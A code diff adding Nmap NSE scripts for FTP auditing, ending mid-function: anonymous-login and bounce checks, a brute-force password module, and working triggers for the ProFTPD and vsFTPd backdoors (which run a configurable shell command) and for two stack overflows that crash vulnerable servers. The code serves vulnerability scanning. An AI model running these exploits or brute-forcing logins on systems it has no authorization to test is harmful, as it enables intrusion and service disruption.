+-- LIST on the commands socket, connect to the data one and read the directory
+-- list sent.
+-- ---------------------
+local function list(socket, buffer, target, max_lines)
+
+ local list_socket, err = ftp.pasv(socket, buffer)
+ if not list_socket then
+ return nil, err
+ end
+
+ -- Send the LIST command on the commands socket. "Fire and forget"; we
+ -- don't need to take care of the answer on this socket.
+ local status, err = socket:send("LIST\r\n")
+ if not status then
+ return status, err
+ end
+
+ local listing = {}
+ while not max_lines or #listing < max_lines do
+ local status, data = list_socket:receive_buf(match.pattern_limit("\r?\n", 2048), false)
+ if (not status and data == "EOF") or data == "" then
+ break
+ end
+ if not status then
+ return status, data
+ end
+ listing[#listing + 1] = data
+ end
+
+ return true, listing
+end
+
+--- Connects to the FTP server and checks if the server allows anonymous logins.
+action = function(host, port)
+ local max_list = stdnse.get_script_args("ftp-anon.maxlist")
+ if not max_list then
+ if nmap.verbosity() == 0 then
+ max_list = 20
+ else
+ max_list = nil
+ end
+ else
+ max_list = tonumber(max_list)
+ if max_list < 0 then
+ max_list = nil
+ end
+ end
+
+
+ local socket, code, message, buffer = ftp.connect(host, port, {request_timeout=8000})
+ if not socket then
+ stdnse.debug1("Couldn't connect: %s", code or message)
+ return nil
+ end
+ if code and code ~= 220 then
+ stdnse.debug1("banner code %d %q.", code, message)
+ return nil
+ end
+
+ local status, code, message = ftp.auth(socket, buffer, "anonymous", "IEUser@")
+ if not status then
+ if not code then
+ stdnse.debug1("got socket error %q.", message)
+ elseif code == 421 or code == 530 then
+ -- Don't log known error codes.
+ -- 421: Service not available, closing control connection.
+ -- 530: Not logged in.
+ else
+ stdnse.debug1("got code %d %q.", code, message)
+ return ("got code %d %q."):format(code, message)
+ end
+ return nil
+ end
+
+ local result = {}
+ result[#result + 1] = "Anonymous FTP login allowed (FTP code " .. code .. ")"
+
+ if not max_list or max_list > 0 then
+ local status, listing = list(socket, buffer, host, max_list)
+ ftp.close(socket)
+
+ if not status then
+ result[#result + 1] = "Can't get directory listing: " .. listing
+ else
+ for _, item in ipairs(listing) do
+ -- Just a quick passive check on user rights.
+ if string.match(item, "^[d-].......w.") then
+ item = item .. " [NSE: writeable]"
+ end
+ result[#result + 1] = item
+ end
+ if max_list and #listing == max_list then
+ result[#result + 1] = string.format("Only %d shown. Use --script-args %s.maxlist=-1 to see all.", #listing, SCRIPT_NAME)
+ end
+ end
+ end
+
+ return table.concat(result, "\n")
+end
diff --git a/scripts/ftp-bounce.nse b/scripts/ftp-bounce.nse
new file mode 100644
index 0000000..cb5476f
--- /dev/null
+++ b/scripts/ftp-bounce.nse
@@ -0,0 +1,113 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local ftp = require "ftp"
+
+description=[[
+Checks to see if an FTP server allows port scanning using the FTP bounce method.
+]]
+author = "Marek Majkowski"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+---
+-- @args ftp-bounce.username Username to log in with. Default
+-- <code>anonymous</code>.
+-- @args ftp-bounce.password Password to log in with. Default
+-- <code>IEUser@</code>.
+-- @args ftp-bounce.checkhost Host to try connecting to with the PORT command.
+-- Default: scanme.nmap.org
+--
+-- @output
+-- PORT STATE SERVICE
+-- 21/tcp open ftp
+-- |_ftp-bounce: bounce working!
+--
+-- PORT STATE SERVICE
+-- 21/tcp open ftp
+-- |_ftp-bounce: server forbids bouncing to low ports <1025
+
+categories = {"default", "safe"}
+
+portrule = shortport.port_or_service({21, 990}, {"ftp", "ftps"})
+
+local function get_portfmt()
+ local arghost = stdnse.get_script_args(SCRIPT_NAME .. ".checkhost") or "scanme.nmap.org"
+ local reg = nmap.registry[SCRIPT_NAME] or {}
+ local addr = reg[arghost]
+ if not addr then
+ local status, addrs = nmap.resolve(arghost, "inet")
+ if not status or #addrs < 1 then
+ stdnse.verbose1("Couldn't resolve %s, scanning 10.0.0.1 instead.", arghost)
+ addr = "10.0.0.1"
+ else
+ addr = addrs[1]
+ end
+ reg[arghost] = addr
+ end
+ nmap.registry[SCRIPT_NAME] = reg
+ return string.format("PORT %s,%%s\r\n", (string.gsub(addr, "%.", ",")))
+end
+
+action = function(host, port)
+ local user = stdnse.get_script_args(SCRIPT_NAME .. ".username") or "anonymous"
+ local pass = stdnse.get_script_args(SCRIPT_NAME .. ".password") or "IEUser@"
+
+ -- BANNER
+ local socket, code, message, buffer = ftp.connect(host, port, {request_timeout=10000})
+ if not socket then
+ return nil
+ end
+ if code < 200 or code > 299 then
+ socket:close()
+ return nil
+ end
+
+ socket:set_timeout(5000)
+ -- USER
+ local status, code, message = ftp.auth(socket, buffer, user, pass)
+ if not status then
+ stdnse.debug1("Authentication rejected: %s %s", code or "socket", message)
+ ftp.close(socket)
+ return nil
+ end
+
+ -- PORT highport
+ local portfmt = get_portfmt()
+ -- This is actually port 256*80 + 80 = 20560
+ if not socket:send(string.format(portfmt, "80,80")) then
+ stdnse.debug1("Can't send PORT")
+ return nil
+ end
+ code, message = ftp.read_reply(buffer)
+ if not code then
+ stdnse.debug1("Error after PORT: %s", message)
+ return nil
+ end
+ if code < 200 or code > 299 then
+ stdnse.verbose1("PORT response: %d %s", code, message)
+ ftp.close(socket)
+ -- return "server forbids bouncing"
+ return nil
+ end
+
+ -- PORT lowport
+ if not socket:send(string.format(portfmt, "0,80")) then
+ stdnse.debug1("Can't send PORT")
+ return nil
+ end
+ code, message = ftp.read_reply(buffer)
+ if not code then
+ stdnse.debug1("Error after PORT: %s", message)
+ return nil
+ end
+ if code < 200 or code > 299 then
+ stdnse.verbose1("PORT (low port) response: %d %s", code, message)
+ ftp.close(socket)
+ return "server forbids bouncing to low ports <1025"
+ end
+
+ ftp.close(socket)
+ return "bounce working!"
+end
+
diff --git a/scripts/ftp-brute.nse b/scripts/ftp-brute.nse
new file mode 100644
index 0000000..9a7a565
--- /dev/null
+++ b/scripts/ftp-brute.nse
@@ -0,0 +1,105 @@
+local brute = require "brute"
+local creds = require "creds"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local ftp = require "ftp"
+
+description = [[
+Performs brute force password auditing against FTP servers.
+
+Based on old ftp-brute.nse script by Diman Todorov, Vlatko Kosturjak and Ron Bowes.
+]]
+
+---
+-- @see ftp-anon.nse
+--
+-- @usage
+-- nmap --script ftp-brute -p 21 <host>
+--
+-- This script uses brute library to perform password
+-- guessing.
+--
+-- @output
+-- PORT STATE SERVICE
+-- 21/tcp open ftp
+-- | ftp-brute:
+-- | Accounts
+-- | root:root - Valid credentials
+-- | Statistics
+-- |_ Performed 510 guesses in 610 seconds, average tps: 0
+--
+-- @args ftp-brute.timeout the amount of time to wait for a response on the socket.
+-- Lowering this value may result in a higher throughput for servers
+-- having a delayed response on incorrect login attempts. (default: 5s)
+
+-- 06.08.16 - Modified by Sergey Khegay to support new brute.lua adaptability mechanism.
+author = "Aleksandar Nikolic"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+portrule = shortport.port_or_service(21, "ftp")
+
+local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
+arg_timeout = (arg_timeout or 5) * 1000
+
+Driver = {
+
+ new = function(self, host, port)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ return o
+ end,
+
+ connect = function( self )
+ self.socket = brute.new_socket()
+ -- discard buffer, we'll create a new one over the BruteSocket later
+ local realsocket, code, message, buffer = ftp.connect(self.host, self.port, {request_timeout=arg_timeout})
+ if not realsocket then
+ return false, brute.Error:new( "Couldn't connect to host: " .. (code or message) )
+ end
+ self.socket.socket = realsocket
+ return true
+ end,
+
+ login = function (self, user, pass)
+ local buffer = stdnse.make_buffer(self.socket, "\r?\n")
+ local status, code, message = ftp.auth(self.socket, buffer, user, pass)
+
+ if not status then
+ if not code then
+ return false, brute.Error:new("socket error during login: " .. message)
+ elseif code == 530 then
+ return false, brute.Error:new( "Incorrect password" )
+ elseif code == 421 then
+ local err = brute.Error:new("Too many connections")
+ err:setReduce(true)
+ return false, err
+ else
+ stdnse.debug1("WARNING: Unhandled response: %d %s", code, message)
+ local err = brute.Error:new("Unhandled response")
+ err:setRetry(true)
+ return false, err
+ end
+ end
+
+ stdnse.debug1("Successful login: %s/%s", user, pass)
+ return true, creds.Account:new( user, pass, creds.State.VALID)
+ end,
+
+ disconnect = function( self )
+ ftp.close(self.socket)
+ return true
+ end
+}
+
+action = function( host, port )
+ local status, result
+ local engine = brute.Engine:new(Driver, host, port)
+ engine.options.script_name = SCRIPT_NAME
+
+ status, result = engine:start()
+ return result
+end
diff --git a/scripts/ftp-libopie.nse b/scripts/ftp-libopie.nse
new file mode 100644
index 0000000..c5dfd14
--- /dev/null
+++ b/scripts/ftp-libopie.nse
@@ -0,0 +1,101 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local string = require "string"
+local vulns = require "vulns"
+
+description = [[
+Checks if an FTPd is prone to CVE-2010-1938 (OPIE off-by-one stack overflow),
+a vulnerability discovered by Maksymilian Arciemowicz and Adam "pi3" Zabrocki.
+See the advisory at https://nmap.org/r/fbsd-sa-opie.
+Be advised that, if launched against a vulnerable host, this script will crash the FTPd.
+]]
+
+---
+-- @output
+-- PORT STATE SERVICE
+-- 21/tcp open ftp
+-- | ftp-libopie:
+-- | VULNERABLE:
+-- | OPIE off-by-one stack overflow
+-- | State: LIKELY VULNERABLE
+-- | IDs: CVE:CVE-2010-1938 BID:40403
+-- | Risk factor: High CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
+-- | Description:
+-- | An off-by-one error in OPIE library 2.4.1-test1 and earlier, allows remote
+-- | attackers to cause a denial of service or possibly execute arbitrary code
+-- | via a long username.
+-- | Disclosure date: 2010-05-27
+-- | References:
+-- | http://site.pi3.com.pl/adv/libopie-adv.txt
+-- | http://security.freebsd.org/advisories/FreeBSD-SA-10:05.opie.asc
+-- | https://www.securityfocus.com/bid/40403
+-- |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1938
+--
+
+
+author = "Ange Gutek"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln","intrusive"}
+
+
+portrule = shortport.port_or_service(21, "ftp")
+
+action = function(host, port)
+ local opie_vuln = {
+ title = "OPIE off-by-one stack overflow",
+ IDS = {CVE = 'CVE-2010-1938', BID = '40403'},
+ risk_factor = "High",
+ scores = {
+ CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)",
+ },
+ description = [[
+An off-by-one error in OPIE library 2.4.1-test1 and earlier, allows remote
+attackers to cause a denial of service or possibly execute arbitrary code
+via a long username.]],
+ references = {
+ 'http://security.freebsd.org/advisories/FreeBSD-SA-10:05.opie.asc',
+ 'http://site.pi3.com.pl/adv/libopie-adv.txt',
+ },
+ dates = {
+ disclosure = {year = '2010', month = '05', day = '27'},
+ },
+ }
+
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+
+ local socket = nmap.new_socket()
+ local result
+ -- If we use more that 31 chars for username, ftpd will crash (quoted from the advisory).
+ local user_account = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+ local status = true
+
+ local err_catch = function()
+ socket:close()
+ end
+
+ local try = nmap.new_try(err_catch)
+
+ socket:set_timeout(10000)
+ try(socket:connect(host, port))
+
+ -- First, try a safe User so that we are sure that everything is ok
+ local payload = "USER opie\r\n"
+ try(socket:send(payload))
+
+ status, result = socket:receive_lines(1);
+ if status and not (string.match(result,"^421")) then
+
+ -- Second, try the vulnerable user account
+ local payload = "USER " .. user_account .. "\r\n"
+ try(socket:send(payload))
+
+ status, result = socket:receive_lines(1);
+ if status then
+ opie_vuln.state = vulns.STATE.NOT_VULN
+ else
+ -- if the server does not answer anymore we may have reached a stack overflow condition
+ opie_vuln.state = vulns.STATE.LIKELY_VULN
+ end
+ end
+ return report:make_output(opie_vuln)
+end
diff --git a/scripts/ftp-proftpd-backdoor.nse b/scripts/ftp-proftpd-backdoor.nse
new file mode 100644
index 0000000..95fc670
--- /dev/null
+++ b/scripts/ftp-proftpd-backdoor.nse
@@ -0,0 +1,128 @@
+local ftp = require "ftp"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+-- -*- mode: lua -*-
+-- vim: set filetype=lua :
+
+description = [[
+Tests for the presence of the ProFTPD 1.3.3c backdoor reported as BID
+45150. This script attempts to exploit the backdoor using the innocuous
+<code>id</code> command by default, but that can be changed with the
+<code>ftp-proftpd-backdoor.cmd</code> script argument.
+]]
+
+---
+-- @usage
+-- nmap --script ftp-proftpd-backdoor -p 21 <host>
+--
+-- @args ftp-proftpd-backdoor.cmd Command to execute in shell (default is
+-- <code>id</code>).
+--
+-- @output
+-- PORT STATE SERVICE
+-- 21/tcp open ftp
+-- | ftp-proftpd-backdoor:
+-- | This installation has been backdoored.
+-- | Command: id
+-- | Results: uid=0(root) gid=0(wheel) groups=0(wheel)
+-- |_
+
+author = "Mak Kolybabi"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"exploit", "intrusive", "malware", "vuln"}
+
+
+local CMD_FTP = "HELP ACIDBITCHEZ"
+local CMD_SHELL = "id"
+
+portrule = function (host, port)
+ -- Check if version detection knows what FTP server this is.
+ if port.version.product ~= nil and port.version.product ~= "ProFTPD" then
+ return false
+ end
+
+ -- Check if version detection knows what version of FTP server this is.
+ if port.version.version ~= nil and port.version.version ~= "1.3.3c" then
+ return false
+ end
+
+ return shortport.port_or_service(21, "ftp")(host, port)
+end
+
+action = function(host, port)
+ local cmd, err, line, req, resp, results, sock, status
+
+ -- Get script arguments.
+ cmd = stdnse.get_script_args("ftp-proftpd-backdoor.cmd")
+ if not cmd then
+ cmd = CMD_SHELL
+ end
+
+ -- Create socket.
+ sock = nmap.new_socket("tcp")
+ sock:set_timeout(5000)
+ status, err = sock:connect(host, port, "tcp")
+ if not status then
+ stdnse.debug1("Can't connect: %s", err)
+ sock:close()
+ return
+ end
+
+ -- Read banner.
+ local buffer = stdnse.make_buffer(sock, "\r?\n")
+ local code, message = ftp.read_reply(buffer)
+ if not code then
+ stdnse.debug1("Can't read banner: %s", message)
+ sock:close()
+ return
+ end
+
+ -- Check version.
+ if not message:match("ProFTPD 1.3.3c") then
+ stdnse.debug1("This version is not known to be backdoored.")
+ return
+ end
+
+ -- Send command to escalate privilege.
+ status, err = sock:send(CMD_FTP .. "\r\n")
+ if not status then
+ stdnse.debug1("Failed to send privilege escalation command: %s", err)
+ sock:close()
+ return
+ end
+
+ -- Check if escalation worked.
+ code, message = ftp.read_reply(buffer)
+ if code and code == 502 then
+ stdnse.debug1("Privilege escalation failed: %s", message)
+ sock:close()
+ return
+ end
+
+ -- Send command(s) to shell.
+ status, err = sock:send(cmd .. ";\r\n")
+ if not status then
+ stdnse.debug1("Failed to send shell command(s): %s", err)
+ sock:close()
+ return
+ end
+
+ -- Check for an error from command.
+ status, resp = sock:receive()
+ if not status then
+ stdnse.debug1("Can't read command response: %s", resp)
+ sock:close()
+ return
+ end
+
+ -- Summarize the results.
+ results = {
+ "This installation has been backdoored.",
+ "Command: " .. CMD_SHELL,
+ "Results: " .. resp
+ }
+
+ return stdnse.format_output(true, results)
+end
diff --git a/scripts/ftp-syst.nse b/scripts/ftp-syst.nse
new file mode 100644
index 0000000..af9a18b
--- /dev/null
+++ b/scripts/ftp-syst.nse
@@ -0,0 +1,145 @@
+local ftp = require "ftp"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+Sends FTP SYST and STAT commands and returns the result.
+
+The canonical SYST response of "UNIX Type: L8" is stripped or ignored, since it
+is meaningless. Typical FTP response codes (215 for SYST and 211 for STAT) are
+also hidden.
+
+References:
+* https://cr.yp.to/ftp/syst.html
+]]
+
+author = "Daniel Miller"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+
+---
+-- @output
+-- | ftp-syst:
+-- | SYST: UNIX MikroTik 6.34.3
+-- | STAT:
+-- | Enver Curri FTP server (MikroTik 6.34.3) status:
+-- | Logged in as
+-- | TYPE: ASCII; STRUcture: File; transfer MODE: Stream
+-- | No data connection
+-- |_End of status
+--
+-- | ftp-syst:
+-- | STAT:
+-- | FTP server status:
+-- | Connected to 192.0.2.13
+-- | Logged in as ftp
+-- | TYPE: ASCII
+-- | No session bandwidth limit
+-- | Session timeout in seconds is 300
+-- | Control connection is plain text
+-- | Data connections will be plain text
+-- | At session startup, client count was 1
+-- | vsFTPd 2.0.5 - secure, fast, stable
+-- |_End of status
+--
+-- | ftp-syst:
+-- | SYST: Version: Linux 2.6.26.8-rt16
+-- | STAT:
+-- | HES_CPE FTP server status:
+-- | ftpd (GNU inetutils) 1.4.1
+-- | Connected to 72.14.177.105
+-- | Waiting for user name
+-- | TYPE: ASCII, FORM: Nonprint; STRUcture: File; transfer MODE: Stream
+-- | No data connection
+-- |_End of status
+--
+-- @xmloutput
+-- <elem key="SYST">Version: Linux 3.10.73</elem>
+-- <elem key="STAT">
+-- FRITZ!Box7490 FTP server status:
+-- Connected to 72.14.177.105
+-- Waiting for user name
+-- TYPE: ASCII, FORM: Nonprint; STRUcture: File; transfer MODE: Stream
+-- No data connection
+-- End of status</elem>
+
+portrule = shortport.port_or_service({21,990}, {"ftp","ftps"})
+
+local function do_syst(socket, buffer)
+end
+
+action = function(host, port)
+ local socket, code, message, buffer = ftp.connect(host, port)
+ if not socket then
+ stdnse.debug1("Couldn't connect: %s", code or message)
+ return nil
+ end
+ if code and code ~= 220 then
+ stdnse.debug1("banner code %d %q.", code, message)
+ return nil
+ end
+
+ -- SYST
+ local auth_done = false
+ local syst = nil
+ repeat
+ if not socket:send("SYST\r\n") then
+ return nil
+ end
+ code, message = ftp.read_reply(buffer)
+ if not code then
+ stdnse.debug1("SYST error: %s", message)
+ break
+ end
+ if code == 215 then
+ local stripped = message:gsub("^UNIX Type: L8 *", "")
+ if stripped ~= "" then
+ syst = stripped
+ end
+ break
+ elseif code < 300 then
+ syst = ("%d %s"):format(code, message)
+ break
+ elseif not auth_done and -- we haven't tried logging in yet
+ ( code == 503 -- Command SYST not accepted during Connected
+ or code == 521 -- Not logged in - Secure authentication required
+ or (code % 100) // 10 == 3 -- x3x codes are auth-related
+ ) then
+ -- Try logging in
+ local status, code, message = ftp.auth(socket, buffer, "anonymous", "IEUser@")
+ if status then
+ auth_done = true
+ end
+ else
+ stdnse.debug1("SYST error: %d %s", code, message)
+ break
+ end
+ until not auth_done
+
+ -- STAT
+ if not socket:send("STAT\r\n") then
+ if syst then
+ return {SYST=syst}
+ else
+ return nil
+ end
+ end
+
+ local out = stdnse.output_table()
+ out.SYST = syst
+ local code, stat = ftp.read_reply(buffer)
+
+ if code then
+ if code == 211 then
+ out.STAT = "\n" .. stat
+ elseif code < 300 then
+ out.STAT = ("%d\n%s"):format(code, stat)
+ end
+ end
+
+ ftp.close(socket)
+
+ if #out > 0 then
+ return out
+ end
+end
diff --git a/scripts/ftp-vsftpd-backdoor.nse b/scripts/ftp-vsftpd-backdoor.nse
new file mode 100644
index 0000000..6b79df8
--- /dev/null
+++ b/scripts/ftp-vsftpd-backdoor.nse
@@ -0,0 +1,193 @@
+local ftp = require "ftp"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local vulns = require "vulns"
+
+description = [[
+Tests for the presence of the vsFTPd 2.3.4 backdoor reported on 2011-07-04
+(CVE-2011-2523). This script attempts to exploit the backdoor using the
+innocuous <code>id</code> command by default, but that can be changed with
+the <code>exploit.cmd</code> or <code>ftp-vsftpd-backdoor.cmd</code> script
+arguments.
+
+References:
+
+* http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
+* https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
+* http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=CVE-2011-2523
+]]
+
+---
+-- @usage
+-- nmap --script ftp-vsftpd-backdoor -p 21 <host>
+--
+-- @args ftp-vsftpd-backdoor.cmd Command to execute in shell
+-- (default is <code>id</code>).
+--
+-- @output
+-- PORT STATE SERVICE
+-- 21/tcp open ftp
+-- | ftp-vsftpd-backdoor:
+-- | VULNERABLE:
+-- | vsFTPd version 2.3.4 backdoor
+-- | State: VULNERABLE (Exploitable)
+-- | IDs: CVE:CVE-2011-2523 BID:48539
+-- | Description:
+-- | vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
+-- | Disclosure date: 2011-07-03
+-- | Exploit results:
+-- | The backdoor was already triggered
+-- | Shell command: id
+-- | Results: uid=0(root) gid=0(root) groups=0(root)
+-- | References:
+-- | https://www.securityfocus.com/bid/48539
+-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
+-- | http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
+-- |_ https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
+--
+
+author = "Daniel Miller"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"exploit", "intrusive", "malware", "vuln"}
+
+
+local CMD_FTP = "USER X:)\r\nPASS X\r\n"
+local CMD_SHELL_ID = "id"
+
+portrule = function (host, port)
+ -- Check if version detection knows what FTP server this is.
+ if port.version.product ~= nil and port.version.product ~= "vsftpd" then
+ return false
+ end
+
+ -- Check if version detection knows what version of FTP server this is.
+ if port.version.version ~= nil and port.version.version ~= "2.3.4" then
+ return false
+ end
+
+ return shortport.port_or_service(21, "ftp")(host, port)
+end
+
+local function finish_ftp(socket, status, message)
+ if socket then
+ socket:close()
+ end
+ return status, message
+end
+
+-- Returns true, results if vsFTPd was backdoored
+local function check_backdoor(host, shell_cmd, vuln)
+ local socket = nmap.new_socket("tcp")
+ socket:set_timeout(10000)
+
+ local status, ret = socket:connect(host, 6200, "tcp")
+ if not status then
+ return finish_ftp(socket, false, "can't connect to tcp port 6200")
+ end
+
+ status, ret = socket:send(CMD_SHELL_ID.."\n")
+ if not status then
+ return finish_ftp(socket, false, "failed to send shell command")
+ end
+
+ status, ret = socket:receive_lines(1)
+ if not status then
+ return finish_ftp(socket, false,
+ string.format("failed to read shell command results: %s",
+ ret))
+ end
+
+ if not ret:match("uid=") then
+ return finish_ftp(socket, false, "service on port 6200 is not the vsFTPd backdoor: NOT VULNERABLE")
+ end
+
+ vuln.state = vulns.STATE.EXPLOIT
+ table.insert(vuln.exploit_results,
+ string.format("Shell command: %s", CMD_SHELL_ID))
+ local result = string.gsub(ret, "^%s*(.-)\n*$", "%1")
+ table.insert(vuln.exploit_results,
+ string.format("Results: %s", result))
+
+ if shell_cmd ~= CMD_SHELL_ID then
+ status, ret = socket:send(shell_cmd.."\n")
+ if status then
+ status, ret = socket:receive_lines(1)
+ if status then
+ table.insert(vuln.exploit_results,
+ string.format("Shell command: %s", shell_cmd))
+ result = string.gsub(ret, "^%s*(.-)\n*$", "%1")
+ table.insert(vuln.exploit_results,
+ string.format("Results: %s", result))
+ end
+ end
+ end
+
+ socket:send("exit\n");
+
+ return finish_ftp(socket, true)
+end
+
+action = function(host, port)
+ -- Get script arguments.
+ local cmd = stdnse.get_script_args("ftp-vsftpd-backdoor.cmd") or
+ stdnse.get_script_args("exploit.cmd") or CMD_SHELL_ID
+
+ local vsftp_vuln = {
+ title = "vsFTPd version 2.3.4 backdoor",
+ IDS = {CVE = 'CVE-2011-2523', BID = '48539'},
+ description = [[
+vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.]],
+ references = {
+ 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html',
+ 'https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb',
+ },
+ dates = {
+ disclosure = {year = '2011', month = '07', day = '03'},
+ },
+ exploit_results = {},
+ }
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+
+ -- check to see if the vsFTPd backdoor was already triggered
+ local status, ret = check_backdoor(host, cmd, vsftp_vuln)
+ if status then
+ return report:make_output(vsftp_vuln)
+ end
+
+ -- Create socket.
+ local sock, code, message, buffer = ftp.connect(host, port,
+ {request_timeout = 8000})
+ if not sock then
+ stdnse.debug1("can't connect: %s", code)
+ return nil
+ end
+
+ -- Read banner.
+ if not code then
+ stdnse.debug1("can't read banner: %s", message)
+ sock:close()
+ return nil
+ end
+
+ status, ret = sock:send(CMD_FTP .. "\r\n")
+ if not status then
+ stdnse.debug1("failed to send privilege escalation command: %s", ret)
+ return nil
+ end
+
+ stdnse.sleep(1)
+ -- check if vsFTPd was backdoored
+ status, ret = check_backdoor(host, cmd, vsftp_vuln)
+ if not status then
+ stdnse.debug1("%s", ret)
+ vsftp_vuln.state = vulns.STATE.NOT_VULN
+ return report:make_output(vsftp_vuln)
+ end
+
+ -- delay ftp socket cleaning
+ sock:close()
+ return report:make_output(vsftp_vuln)
+end
diff --git a/scripts/ftp-vuln-cve2010-4221.nse b/scripts/ftp-vuln-cve2010-4221.nse
new file mode 100644
index 0000000..c02a996
--- /dev/null
+++ b/scripts/ftp-vuln-cve2010-4221.nse
@@ -0,0 +1,199 @@
+local ftp = require "ftp"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local vulns = require "vulns"
+
+description = [[
+Checks for a stack-based buffer overflow in the ProFTPD server, version
+between 1.3.2rc3 and 1.3.3b. By sending a large number of TELNET_IAC escape
+sequence, the proftpd process miscalculates the buffer length, and a remote
+attacker will be able to corrupt the stack and execute arbitrary code within
+the context of the proftpd process (CVE-2010-4221). Authentication is not
+required to exploit this vulnerability.
+
+Reference:
+* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4221
+* http://www.exploit-db.com/exploits/15449/
+* http://www.metasploit.com/modules/exploit/freebsd/ftp/proftp_telnet_iac
+]]
+
+---
+-- @usage
+-- nmap --script ftp-vuln-cve2010-4221 -p 21 <host>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 21/tcp open ftp
+-- | ftp-vuln-cve2010-4221:
+-- | VULNERABLE:
+-- | ProFTPD server TELNET IAC stack overflow
+-- | State: VULNERABLE
+-- | IDs: CVE:CVE-2010-4221 BID:44562
+-- | Risk factor: High CVSSv2: 10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)
+-- | Description:
+-- | ProFTPD server (version 1.3.2rc3 through 1.3.3b) is vulnerable to
+-- | stack-based buffer overflow. By sending a large number of TELNET_IAC
+-- | escape sequence, a remote attacker will be able to corrupt the stack and
+-- | execute arbitrary code.
+-- | Disclosure date: 2010-11-02
+-- | References:
+-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4221
+-- | http://www.metasploit.com/modules/exploit/freebsd/ftp/proftp_telnet_iac
+-- | http://bugs.proftpd.org/show_bug.cgi?id=3521
+-- |_ https://www.securityfocus.com/bid/44562
+--
+
+author = "Djalal Harouni"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "vuln"}
+
+
+portrule = function (host, port)
+ if port.version.product ~= nil and port.version.product ~= "ProFTPD" then
+ return false
+ end
+ return shortport.port_or_service(21, "ftp")(host, port)
+end
+
+local function get_proftpd_banner(banner)
+ local version
+ if banner then
+ version = banner:match("ProFTPD%s([%w%.]+)%s")
+ end
+ return banner, version
+end
+
+local function ftp_finish(socket, status, message)
+ if socket then
+ socket:close()
+ end
+ return status, message
+end
+
+-- Returns true if the provided version is vulnerable
+local function is_version_vulnerable(version)
+ local vers = stringaux.strsplit("%.", version)
+
+ if #vers > 0 and vers[3] then
+ local relnum = string.sub(vers[3], 1, 1)
+ local extra = string.sub(vers[3], 2)
+ if relnum == '2' then
+ if extra:len() > 0 then
+ if extra:match("rc%d") then
+ local v = string.sub(extra, 3)
+ if v and tonumber(v) > 2 then
+ return true
+ end
+ else
+ return true
+ end
+ end
+ elseif relnum == '3' then
+ if extra:len() == 0 or extra:match("[abrc]") then
+ return true
+ end
+ end
+ end
+
+ return false
+end
+
+-- Returns true, true if the ProFTPD child was killed
+local function kill_proftpd(socket)
+ local killed = false
+ local TELNET_KILL = '\000'..'\255' -- TELNET_DUMMY..TELNET_IAC
+
+ stdnse.debug2("sending evil TELNET_IAC commands.")
+ local st, ret = socket:send(string.rep(TELNET_KILL, 4069)..
+ '\255'..string.rep("Nmap", 256).."\n")
+ if not st then
+ return st, ret
+ end
+
+ -- We should receive command error if it's not vulnerable
+ st, ret = socket:receive_lines(1)
+ if not st then
+ if ret == "EOF" then -- "connection closed"
+ stdnse.debug2("remote proftpd child was killed.")
+ killed = true
+ else
+ return st, ret
+ end
+ end
+
+ return true, killed
+end
+
+local function check_proftpd(ftp_opts)
+ local ftp_server = {}
+ local socket, code, message = ftp.connect(ftp_opts.host, ftp_opts.port)
+ if not socket then
+ return socket, code
+ end
+
+ ftp_server.banner, ftp_server.version = get_proftpd_banner(message)
+ if not ftp_server.banner then
+ return ftp_finish(socket, false, "failed to get FTP banner.")
+ elseif not ftp_server.banner:match("ProFTPD") then
+ return ftp_finish(socket, false, "not a ProFTPD server.")
+ end
+
+ local vuln = ftp_opts.vuln
+ -- check if this version is vulnerable
+ if ftp_server.version then
+ if not is_version_vulnerable(ftp_server.version) then
+ vuln.state = vulns.STATE.NOT_VULN
+ return ftp_finish(socket, true)
+ end
+ vuln.state = vulns.STATE.LIKELY_VULN
+ end
+
+ local status, killed = kill_proftpd(socket)
+ if not status then
+ return ftp_finish(socket, false, killed)
